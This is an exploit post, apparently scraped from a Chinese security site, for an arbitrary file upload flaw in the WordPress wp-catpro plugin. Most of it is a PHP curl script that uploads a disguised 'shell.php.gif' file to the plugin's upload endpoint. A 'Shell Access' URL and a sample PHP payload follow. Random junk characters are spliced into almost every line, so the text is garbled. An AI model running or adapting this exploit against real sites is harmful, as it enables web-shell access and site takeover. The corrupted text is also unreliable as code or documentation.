Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
$ N5 I& c( K( U#-----------------------------------------------------------------------' }: D, B' L- I7 E4 r) ~! u! g' x
' X) B0 j+ A' U0 |" ?8 c/ Y$ r$ D作者 => Zikou-16
1 ]" v) a6 Q2 L邮箱 => zikou16x@gmail.com
( K# G; H A& ~! A* u# w7 ^测试系统 : Windows 7 , Backtrack 5r3
# @; Q0 P) J' y' q# N& d+ C下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip' ]# l# }' ?. N7 p8 }& \5 w: Z* N* J
####
# s4 i2 J! p' G' N# G9 C w 2 g) H- w) J& Y& a& G1 X) m# Y
#=> Exploit 信息:
# r! q* P& U' y2 T) i7 @) C------------------
) I( k9 y/ U/ o% O/ m1 z: G# 攻击者可以上传 file/shell.php.gif+ J0 d( V% B) l$ \& l
# ("jpg", "gif", "png") // Allowed file extensions
9 x0 Y$ L' V: ~4 H# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
6 `" K0 ?, N0 m7 P# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
1 r k! c; M! c, ^------------------3 Z N4 R( I+ |, a; m
5 ?; R3 @" f* E0 W3 I3 }8 D2 S#=> Exploit
4 }; {, ?* w, }+ v3 i-----------2 a* v d- N& p0 L- p% d! m
<?php# E) L/ X1 v) g7 h0 k' z8 P
& @9 Y$ j* ~3 F3 Z" P3 R- b& ?$uploadfile="zik.php.gif";
8 h" ^7 l' V8 [$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");- o, O0 Z* w$ @9 p" Q+ ~+ P! B
curl_setopt($ch, CURLOPT_POST, true);8 X& V* w* g3 ?$ p. D3 V
curl_setopt($ch, CURLOPT_POSTFIELDS,
, o, s2 t! i/ z& x$ \4 ?& A: D- varray('Filedata'=>"@$uploadfile",: K& d+ j( B. |
'folder'=>'/wp-content/uploads/catpro/'));
# V6 T2 S- f( q+ jcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
9 }% F' F7 |7 `* G( R$postResult = curl_exec($ch);
! y7 v- E0 e) u b5 z% O' }7 ~" ocurl_close($ch);$ m" Y% |: S1 Z, I
. ^3 i3 {" v# g3 u3 i8 Z
print "$postResult";
7 B- O, }$ y/ }, W. ?4 Z% U 4 Q: n8 p- D5 K# Y
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif& m h. X% o9 ~9 V
?> ~- O: g. t( O% F
<?php' g5 Q+ V- _8 z/ o
phpinfo();
* B4 H6 a/ N5 H( N; s- t?> |